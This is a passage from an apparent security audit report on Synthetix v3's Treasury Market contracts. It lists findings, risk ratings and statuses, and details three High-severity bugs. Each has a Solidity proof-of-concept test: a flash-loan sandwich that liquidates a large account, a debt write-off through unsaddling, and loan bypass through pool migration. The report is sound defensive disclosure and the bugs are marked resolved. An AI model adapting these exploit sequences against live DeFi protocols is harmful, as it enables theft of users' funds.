<td><a href="#IO-SIP420-007">IO-SIP420-006</a></td>
<td>Pool collateral limits not checked</td>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-SIP420-008">IO-SIP420-007</a></td>
<td>Arithmetic simplification</td>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-SIP420-009">IO-SIP420-008</a></td>
<td>Separation of concerns</td>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-SIP420-010">IO-SIP420-009</a></td>
<td>Large accounts cannot unsaddle</td>
<td class="rating-low">Low</td>
<td class="status-closed">Closed</td>
</tr>
<tr>
<td><a href="#IO-SIP420-011">IO-SIP420-011</a></td>
<td>Treasury can mint more than target C-ratio</td>
<td class="rating-low">Low</td>
<td class="status-closed">Closed</td>
</tr>
<tr>
<td><a href="#IO-SIP420-012">IO-SIP420-012</a></td>
<td>Last account unable to unsaddle</td>
<td class="rating-low">Low</td>
<td class="status-closed">Closed</td>
</tr>
<tr>
<td><a href="#IO-SIP420-013">IO-SIP420-013</a></td>
<td>Incorrect target debt</td>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-SIP420-014">IO-SIP420-014</a></td>
<td>Missing validation</td>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-SIP420-029">IO-SIP420-029</a></td>
<td>Deposit rewards not nullified</td>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-SIP420-030">IO-SIP420-030</a></td>
<td>AuxTokenInfo not cleared on unsaddle</td>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-SIP420-031">IO-SIP420-031</a></td>
<td>Vested rewards DoS</td>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
</tr>
<tr>
<td><a href="#IO-SIP420-032">IO-SIP420-032</a></td>
<td>Zero duration rewards</td>
<td class="rating-low">Low</td>
<td class="status-resolved">Resolved</td>
</tr>
</tbody>
</table>
<p>Each issue identified during the audit has been assigned a risk rating. The rating is determined based on the criteria outlined below.</p>
<dl>
<dt>Critical risk</dt>
<dd>The issue could result in the theft of funds from the contract or its users.</dd>
<dt>High risk</dt>
<dd>The issue could result in the loss of funds for the contract owner or its users.</dd>
<dt>Medium risk</dt>
<dd>The issue resulted in the code being dysfunctional or the specification being implemented incorrectly.</dd>
<dt>Low risk</dt>
<dd>A design or best practice issue that could affect the ordinary functioning of the contract.</dd>
<dt>Informational</dt>
<dd>An improvement related to best practice or a suboptimal design pattern.</dd>
</dl>
<p>In addition to a risk rating, each issue is assigned a status:</p>
<dl>
<dt>Open</dt>
<dd>The issue remained present in the code as of the final commit reviewed and may still pose a risk.</dd>
<dt>Resolved</dt>
<dd>The issue was identified during the audit and has since been satisfactorily addressed, removing the risk it posed.</dd>
<dt>Closed</dt>
<dd>The issue was identified during the audit and acknowledged by the developers as an acceptable risk without actioning any change.</dd>
</dl>
<a name="IO-SIP420-001"></a><h2 id="io-sip420-001-atomic-liquidations-excess-artificial-debt" class="break-before"><strong>IO-SIP420-001</strong> Atomic liquidations: excess artificial debt</h2>
<table class="metadata">
<tbody>
<tr>
<td class="rating-high">High</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/TreasuryMarket.sol#L248">TreasuryMarket.sol#L248</a></td>
</tr>
</tbody>
</table>
<p>It is possible to atomically force accounts into liquidation due to the excess artificial debt allocated when unsaddling large accounts.</p>
<p>The following test was developed to illustrate the issue:</p>
<pre tabindex="0" class="chroma"><code><span class="line"><span class="cl"><span class="kd">function</span> <span class="nf">test_saddle_flash_loan</span><span class="p">()</span> <span class="k">public</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="n">v3System</span><span class="p">.</span><span class="n">delegateCollateral</span><span class="p">(</span><span class="n">accountId</span><span class="p">,</span> <span class="n">poolId</span><span class="p">,</span> <span class="kt">address</span><span class="p">(</span><span class="n">collateralToken</span><span class="p">),</span> <span class="mi">4</span> <span class="kc">ether</span><span class="p">,</span> <span class="mi">1</span> <span class="kc">ether</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">market</span><span class="p">.</span><span class="n">saddle</span><span class="p">(</span><span class="n">accountId</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="n">v3System</span><span class="p">.</span><span class="n">delegateCollateral</span><span class="p">(</span><span class="n">accountId</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">poolId</span><span class="p">,</span> <span class="kt">address</span><span class="p">(</span><span class="n">collateralToken</span><span class="p">),</span> <span class="mi">40</span> <span class="kc">ether</span><span class="p">,</span> <span class="mi">1</span> <span class="kc">ether</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">market</span><span class="p">.</span><span class="n">saddle</span><span class="p">(</span><span class="n">accountId</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// market.rebalance(); // doesn't change the result
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"> <span class="c1">/// Some time in the future (sandwich attack an SNX price update)
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="c1">// flash loan SNX
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="n">collateralToken</span><span class="p">.</span><span class="n">mint</span><span class="p">(</span><span class="kt">address</span><span class="p">(</span><span class="nb">this</span><span class="p">),</span> <span class="mi">43</span> <span class="kc">ether</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">collateralToken</span><span class="p">.</span><span class="n">approve</span><span class="p">(</span><span class="kt">address</span><span class="p">(</span><span class="n">v3System</span><span class="p">),</span> <span class="mi">43</span> <span class="kc">ether</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="n">v3System</span><span class="p">.</span><span class="n">createAccount</span><span class="p">(</span><span class="mi">1337</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">v3System</span><span class="p">.</span><span class="n">deposit</span><span class="p">(</span><span class="mi">1337</span><span class="p">,</span> <span class="kt">address</span><span class="p">(</span><span class="n">collateralToken</span><span class="p">),</span> <span class="mi">43</span> <span class="kc">ether</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="n">v3System</span><span class="p">.</span><span class="n">delegateCollateral</span><span class="p">(</span><span class="mi">1337</span><span class="p">,</span> <span class="n">poolId</span><span class="p">,</span> <span class="kt">address</span><span class="p">(</span><span class="n">collateralToken</span><span class="p">),</span> <span class="mi">43</span> <span class="kc">ether</span><span class="p">,</span> <span class="mi">1</span> <span class="kc">ether</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="n">market</span><span class="p">.</span><span class="n">saddle</span><span class="p">(</span><span class="mi">1337</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="n">market</span><span class="p">.</span><span class="n">rebalance</span><span class="p">();</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="n">IERC721</span><span class="p">(</span><span class="n">v3System</span><span class="p">.</span><span class="n">getAccountTokenAddress</span><span class="p">()).</span><span class="n">approve</span><span class="p">(</span><span class="kt">address</span><span class="p">(</span><span class="n">market</span><span class="p">),</span> <span class="mi">1337</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">market</span><span class="p">.</span><span class="n">unsaddle</span><span class="p">(</span><span class="mi">1337</span><span class="p">);</span> <span class="c1">// No delegation timeout
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"> <span class="n">mockAggregator</span><span class="p">.</span><span class="n">mockSetCurrentPrice</span><span class="p">(</span><span class="mi">0</span><span class="p">.</span><span class="mi">995</span> <span class="kc">ether</span><span class="p">,</span> <span class="mi">18</span><span class="p">);</span> <span class="c1">// Price update that we MEV
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"> <span class="n">v3System</span><span class="p">.</span><span class="n">liquidate</span><span class="p">(</span><span class="n">accountId</span> <span class="o">+</span> <span class="mi">1</span><span class="p">,</span> <span class="n">poolId</span><span class="p">,</span> <span class="kt">address</span><span class="p">(</span><span class="n">collateralToken</span><span class="p">),</span> <span class="mi">1337</span> <span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">market</span><span class="p">.</span><span class="n">rebalance</span><span class="p">();</span> <span class="c1">// Prevent liquidations of other accounts
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="n">v3System</span><span class="p">.</span><span class="n">withdraw</span><span class="p">(</span><span class="mi">1337</span><span class="p">,</span> <span class="kt">address</span><span class="p">(</span><span class="n">collateralToken</span><span class="p">),</span> <span class="mi">43</span> <span class="kc">ether</span><span class="p">);</span> <span class="c1">// repay flash loan
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="n">v3System</span><span class="p">.</span><span class="n">getPosition</span><span class="p">(</span><span class="n">accountId</span><span class="p">,</span> <span class="n">poolId</span><span class="p">,</span> <span class="kt">address</span><span class="p">(</span><span class="n">collateralToken</span><span class="p">));</span> <span class="c1">// accountId got all of the whale's collateral
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="p">}</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre><h3 id="recommendation">Recommendation</h3>
<p>The <code>_rebalance()</code> internal function should be called at the end of <code>unsaddle()</code> to reduce the artificial debt. Alternatively, the <code>artificialDebt</code> should be decreased by <code>neededToPay</code> before removing the collateral delegation.</p>
<h3 id="client-response">Client response</h3>
<p>Both recommendations were implemented in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/75d8b9665c7666d4905e4d800472a0bc3c818461">75d8b96</a>.</p>
<a name="IO-SIP420-002"></a><h2 id="io-sip420-002-debt-write-off-using-unsaddle" class="break-before"><strong>IO-SIP420-002</strong> Debt write-off using unsaddle</h2>
<table class="metadata">
<tbody>
<tr>
<td class="rating-high">High</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/markets/treasury-market/contracts/TreasuryMarket.sol#L252">TreasuryMarket.sol#L252</a></td>
</tr>
</tbody>
</table>
<p>When unsaddling an account with no debt, the if branch containing the logic to reset the account's <code>saddledCollateral</code> is skipped. When the account is saddled again, with a large amount of debt and collateral, the stale <code>saddledCollateral[accountId]</code> value is used, and a loan is not created for the account. Without a loan, the user can immediately unsaddle their account and withdraw the collateral without settling their pre-existing debt.</p>
<p>The following test was developed to illustrate the issue:</p>
<pre tabindex="0" class="chroma"><code><span class="line"><span class="cl"><span class="kd">function</span> <span class="nf">test_unsaddle_bypass_loans</span><span class="p">()</span> <span class="k">public</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="n">usdToken</span><span class="p">.</span><span class="n">approve</span><span class="p">(</span><span class="kt">address</span><span class="p">(</span><span class="n">v3System</span><span class="p">),</span> <span class="nb">type</span><span class="p">(</span><span class="nc">uint256</span><span class="p">).</span><span class="nb">max</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">collateralToken</span><span class="p">.</span><span class="n">approve</span><span class="p">(</span><span class="kt">address</span><span class="p">(</span><span class="n">v3System</span><span class="p">),</span> <span class="nb">type</span><span class="p">(</span><span class="nc">uint256</span><span class="p">).</span><span class="nb">max</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">collateralToken</span><span class="p">.</span><span class="n">approve</span><span class="p">(</span><span class="kt">address</span><span class="p">(</span><span class="n">market</span><span class="p">),</span> <span class="nb">type</span><span class="p">(</span><span class="nc">uint256</span><span class="p">).</span><span class="nb">max</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// Legitimate stakers
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="n">collateralToken</span><span class="p">.</span><span class="n">mint</span><span class="p">(</span><span class="kt">address</span><span class="p">(</span><span class="nb">this</span><span class="p">),</span> <span class="mi">10000</span> <span class="kc">ether</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">v3System</span><span class="p">.</span><span class="n">deposit</span><span class="p">(</span><span class="n">accountId</span><span class="p">,</span> <span class="kt">address</span><span class="p">(</span><span class="n">collateralToken</span><span class="p">),</span> <span class="mi">10000</span> <span class="kc">ether</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">v3System</span><span class="p">.</span><span class="n">delegateCollateral</span><span class="p">(</span><span class="n">accountId</span><span class="p">,</span> <span class="n">poolId</span><span class="p">,</span> <span class="kt">address</span><span class="p">(</span><span class="n">collateralToken</span><span class="p">),</span> <span class="mi">10000</span> <span class="kc">ether</span><span class="p">,</span> <span class="mi">1</span> <span class="kc">ether</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">market</span><span class="p">.</span><span class="n">saddle</span><span class="p">(</span><span class="n">accountId</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="n">vm</span><span class="p">.</span><span class="n">prank</span><span class="p">(</span><span class="n">treasuryAddress</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">market</span><span class="p">.</span><span class="n">mintTreasury</span><span class="p">(</span><span class="mi">1</span> <span class="kc">ether</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="kt">uint128</span> <span class="n">otherPoolId</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="n">v3System</span><span class="p">.</span><span class="n">createPool</span><span class="p">(</span><span class="n">otherPoolId</span><span class="p">,</span> <span class="kt">address</span><span class="p">(</span><span class="nb">this</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="n">v3System</span><span class="p">.</span><span class="n">createAccount</span><span class="p">(</span><span class="mi">1337</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">collateralToken</span><span class="p">.</span><span class="n">mint</span><span class="p">(</span><span class="kt">address</span><span class="p">(</span><span class="nb">this</span><span class="p">),</span> <span class="mi">104</span> <span class="kc">ether</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">v3System</span><span class="p">.</span><span class="n">deposit</span><span class="p">(</span><span class="mi">1337</span><span class="p">,</span> <span class="kt">address</span><span class="p">(</span><span class="n">collateralToken</span><span class="p">),</span> <span class="mi">104</span> <span class="kc">ether</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">v3System</span><span class="p">.</span><span class="n">delegateCollateral</span><span class="p">(</span><span class="mi">1337</span><span class="p">,</span> <span class="n">otherPoolId</span><span class="p">,</span> <span class="kt">address</span><span class="p">(</span><span class="n">collateralToken</span><span class="p">),</span> <span class="mi">100</span> <span class="kc">ether</span><span class="p">,</span> <span class="mi">1</span> <span class="kc">ether</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">v3System</span><span class="p">.</span><span class="n">mintUsd</span><span class="p">(</span><span class="mi">1337</span><span class="p">,</span> <span class="n">otherPoolId</span><span class="p">,</span> <span class="kt">address</span><span class="p">(</span><span class="n">collateralToken</span><span class="p">),</span> <span class="mi">20</span> <span class="kc">ether</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="n">v3System</span><span class="p">.</span><span class="n">delegateCollateral</span><span class="p">(</span><span class="mi">1337</span><span class="p">,</span> <span class="n">poolId</span><span class="p">,</span> <span class="kt">address</span><span class="p">(</span><span class="n">collateralToken</span><span class="p">),</span> <span class="mi">4</span> <span class="kc">ether</span><span class="p">,</span> <span class="mi">1</span> <span class="kc">ether</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">market</span><span class="p">.</span><span class="n">saddle</span><span class="p">(</span><span class="mi">1337</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="kt">int256</span> <span class="n">debt</span> <span class="o">=</span> <span class="n">v3System</span><span class="p">.</span><span class="n">getPositionDebt</span><span class="p">(</span><span class="mi">1337</span><span class="p">,</span> <span class="n">poolId</span><span class="p">,</span> <span class="kt">address</span><span class="p">(</span><span class="n">collateralToken</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"> <span class="n">v3System</span><span class="p">.</span><span class="n">burnUsd</span><span class="p">(</span><span class="mi">1337</span><span class="p">,</span> <span class="n">poolId</span><span class="p">,</span> <span class="kt">address</span><span class="p">(</span><span class="n">collateralToken</span><span class="p">),</span> <span class="kt">uint256</span><span class="p">(</span><span class="n">debt</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="n">IERC721</span><span class="p">(</span><span class="n">v3System</span><span class="p">.</span><span class="n">getAccountTokenAddress</span><span class="p">()).</span><span class="n">approve</span><span class="p">(</span><span class="kt">address</span><span class="p">(</span><span class="n">market</span><span class="p">),</span> <span class="mi">1337</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">market</span><span class="p">.</span><span class="n">unsaddle</span><span class="p">(</span><span class="mi">1337</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="n">v3System</span><span class="p">.</span><span class="n">migrateDelegation</span><span class="p">(</span><span class="mi">1337</span><span class="p">,</span> <span class="n">otherPoolId</span><span class="p">,</span> <span class="kt">address</span><span class="p">(</span><span class="n">collateralToken</span><span class="p">),</span> <span class="n">poolId</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">market</span><span class="p">.</span><span class="n">saddle</span><span class="p">(</span><span class="mi">1337</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="n">IERC721</span><span class="p">(</span><span class="n">v3System</span><span class="p">.</span><span class="n">getAccountTokenAddress</span><span class="p">()).</span><span class="n">approve</span><span class="p">(</span><span class="kt">address</span><span class="p">(</span><span class="n">market</span><span class="p">),</span> <span class="mi">1337</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">market</span><span class="p">.</span><span class="n">unsaddle</span><span class="p">(</span><span class="mi">1337</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// Withdraw our collateral and an additional (20 - debt) USD
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="n">v3System</span><span class="p">.</span><span class="n">withdraw</span><span class="p">(</span><span class="mi">1337</span><span class="p">,</span> <span class="kt">address</span><span class="p">(</span><span class="n">collateralToken</span><span class="p">),</span> <span class="mi">104</span> <span class="kc">ether</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">v3System</span><span class="p">.</span><span class="n">withdraw</span><span class="p">(</span><span class="mi">1337</span><span class="p">,</span> <span class="kt">address</span><span class="p">(</span><span class="n">usdToken</span><span class="p">),</span> <span class="mi">20</span> <span class="kc">ether</span> <span class="o">-</span> <span class="kt">uint256</span><span class="p">(</span><span class="n">debt</span><span class="p">));</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre><h3 id="recommendation-1">Recommendation</h3>
<p>The line <code>saddledCollateral[accountId] = 0</code> should be moved to below the <code>if</code> block in <code>unsaddle()</code> to ensure the value is always reset.</p>
<h3 id="client-response-1">Client response</h3>
<p>Fixed in commit <a href="https://github.com/Synthetixio/synthetix-v3/commit/75d8b9665c7666d4905e4d800472a0bc3c818461">75d8b96</a>.</p>
<a name="IO-SIP420-003"></a><h2 id="io-sip420-003-migration-of-saddled-accounts" class="break-before"><strong>IO-SIP420-003</strong> Migration of saddled accounts</h2>
<table class="metadata">
<tbody>
<tr>
<td class="rating-high">High</td>
<td class="status-resolved">Resolved</td>
<td><a href="https://github.com/Synthetixio/synthetix-v3/blob/704fa04bc036245fd41fdfe65d92fe5deaf67c9d/protocol/synthetix/contracts/modules/core/VaultModule.sol#L160">VaultModule.sol#L160</a></td>
</tr>
</tbody>
</table>
<p>Accounts that are saddled can be migrated to another pool by reducing their saddled debt and then calling <code>migrateDelegation()</code>. However, when migrating, the account's <code>saddledCollateral[accountId]</code> is not reset; thus, no new loan will be created when migrating back to the pool.</p>
<p>The following test was developed to illustrate the issue:</p>
<pre tabindex="0" class="chroma"><code><span class="line"><span class="cl"><span class="kd">function</span> <span class="nf">test_migrate_bypass_loans</span><span class="p">()</span> <span class="k">public</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="n">usdToken</span><span class="p">.</span><span class="n">approve</span><span class="p">(</span><span class="kt">address</span><span class="p">(</span><span class="n">v3System</span><span class="p">),</span> <span class="nb">type</span><span class="p">(</span><span class="nc">uint256</span><span class="p">).</span><span class="nb">max</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">collateralToken</span><span class="p">.</span><span class="n">approve</span><span class="p">(</span><span class="kt">address</span><span class="p">(</span><span class="n">v3System</span><span class="p">),</span> <span class="nb">type</span><span class="p">(</span><span class="nc">uint256</span><span class="p">).</span><span class="nb">max</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">collateralToken</span><span class="p">.</span><span class="n">approve</span><span class="p">(</span><span class="kt">address</span><span class="p">(</span><span class="n">market</span><span class="p">),</span> <span class="nb">type</span><span class="p">(</span><span class="nc">uint256</span><span class="p">).</span><span class="nb">max</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="kt">uint128</span> <span class="n">otherPoolId</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"> <span class="n">v3System</span><span class="p">.</span><span class="n">createPool</span><span class="p">(</span><span class="n">otherPoolId</span><span class="p">,</span> <span class="kt">address</span><span class="p">(</span><span class="nb">this</span><span class="p">));</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// Legitimate stakers
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="p">{</span>
</span></span><span class="line"><span class="cl"> <span class="n">collateralToken</span><span class="p">.</span><span class="n">mint</span><span class="p">(</span><span class="kt">address</span><span class="p">(</span><span class="nb">this</span><span class="p">),</span> <span class="mi">10000</span> <span class="kc">ether</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">v3System</span><span class="p">.</span><span class="n">deposit</span><span class="p">(</span><span class="n">accountId</span><span class="p">,</span> <span class="kt">address</span><span class="p">(</span><span class="n">collateralToken</span><span class="p">),</span> <span class="mi">10000</span> <span class="kc">ether</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">v3System</span><span class="p">.</span><span class="n">delegateCollateral</span><span class="p">(</span><span class="n">accountId</span><span class="p">,</span> <span class="n">poolId</span><span class="p">,</span> <span class="kt">address</span><span class="p">(</span><span class="n">collateralToken</span><span class="p">),</span> <span class="mi">10000</span> <span class="kc">ether</span><span class="p">,</span> <span class="mi">1</span> <span class="kc">ether</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">market</span><span class="p">.</span><span class="n">saddle</span><span class="p">(</span><span class="n">accountId</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="n">vm</span><span class="p">.</span><span class="n">prank</span><span class="p">(</span><span class="n">treasuryAddress</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">market</span><span class="p">.</span><span class="n">mintTreasury</span><span class="p">(</span><span class="mi">1</span> <span class="kc">ether</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="c1">// malicious account buys / flash loans 1 USD on the open market and 100 SNX
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="n">vm</span><span class="p">.</span><span class="n">prank</span><span class="p">(</span><span class="n">treasuryAddress</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">usdToken</span><span class="p">.</span><span class="nb">transfer</span><span class="p">(</span><span class="kt">address</span><span class="p">(</span><span class="nb">this</span><span class="p">),</span> <span class="mi">1</span> <span class="kc">ether</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">v3System</span><span class="p">.</span><span class="n">createAccount</span><span class="p">(</span><span class="mi">1337</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">collateralToken</span><span class="p">.</span><span class="n">mint</span><span class="p">(</span><span class="kt">address</span><span class="p">(</span><span class="nb">this</span><span class="p">),</span> <span class="mi">100</span> <span class="kc">ether</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="n">v3System</span><span class="p">.</span><span class="n">deposit</span><span class="p">(</span><span class="mi">1337</span><span class="p">,</span> <span class="kt">address</span><span class="p">(</span><span class="n">collateralToken</span><span class="p">),</span> <span class="mi">2</span> <span class="kc">ether</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="n">v3System</span><span class="p">.</span><span class="n">delegateCollateral</span><span class="p">(</span><span class="mi">1337</span><span class="p">,</span> <span class="n">poolId</span><span class="p">,</span> <span class="kt">address</span><span class="p">(</span><span class="n">collateralToken</span><span class="p">),</span> <span class="mi">2</span> <span class="kc">ether</span><span class="p">,</span> <span class="mi">1</span> <span class="kc">ether</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">market</span><span class="p">.</span><span class="n">saddle</span><span class="p">(</span><span class="mi">1337</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="n">v3System</span><span class="p">.</span><span class="n">deposit</span><span class="p">(</span><span class="mi">1337</span><span class="p">,</span> <span class="kt">address</span><span class="p">(</span><span class="n">usdToken</span><span class="p">),</span> <span class="mi">1</span> <span class="kc">ether</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">v3System</span><span class="p">.</span><span class="n">burnUsd</span><span class="p">(</span><span class="mi">1337</span><span class="p">,</span> <span class="n">poolId</span><span class="p">,</span> <span class="kt">address</span><span class="p">(</span><span class="n">collateralToken</span><span class="p">),</span> <span class="mi">1</span> <span class="kc">ether</span><span class="p">);</span> <span class="c1">// burn USD to get below issuance ratio of other pool
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>
</span></span><span class="line"><span class="cl"> <span class="n">v3System</span><span class="p">.</span><span class="n">migrateDelegation</span><span class="p">(</span><span class="mi">1337</span><span class="p">,</span> <span class="n">poolId</span><span class="p">,</span> <span class="kt">address</span><span class="p">(</span><span class="n">collateralToken</span><span class="p">),</span> <span class="n">otherPoolId</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="n">v3System</span><span class="p">.</span><span class="n">deposit</span><span class="p">(</span><span class="mi">1337</span><span class="p">,</span> <span class="kt">address</span><span class="p">(</span><span class="n">collateralToken</span><span class="p">),</span> <span class="mi">98</span> <span class="kc">ether</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">v3System</span><span class="p">.</span><span class="n">delegateCollateral</span><span class="p">(</span><span class="mi">1337</span><span class="p">,</span> <span class="n">otherPoolId</span><span class="p">,</span> <span class="kt">address</span><span class="p">(</span><span class="n">collateralToken</span><span class="p">),</span> <span class="mi">100</span> <span class="kc">ether</span><span class="p">,</span> <span class="mi">1</span> <span class="kc">ether</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">v3System</span><span class="p">.</span><span class="n">mintUsd</span><span class="p">(</span><span class="mi">1337</span><span class="p">,</span> <span class="n">otherPoolId</span><span class="p">,</span> <span class="kt">address</span><span class="p">(</span><span class="n">collateralToken</span><span class="p">),</span> <span class="mi">20</span> <span class="kc">ether</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"> <span class="n">market</span><span class="p">.</span><span class="n">rebalance</span><span class="p">();</span>
</span></span><span class="line"><span class="cl"> <span class="n">v3System</span><span class="p">.</span><span class="n">migrateDelegation</span><span class="p">(</span><span class="mi">1337</span><span class="p">,</span> <span class="n">otherPoolId</span><span class="p">,</span> <span class="kt">address</span><span class="p">(</span><span class="n">collateralToken</span><span class="p">),</span> <span class="n">poolId</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"> <span class="n">market</span><span class="p">.</span><span class="n">saddle</span><span class="p">(</span><span class="mi">1337</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
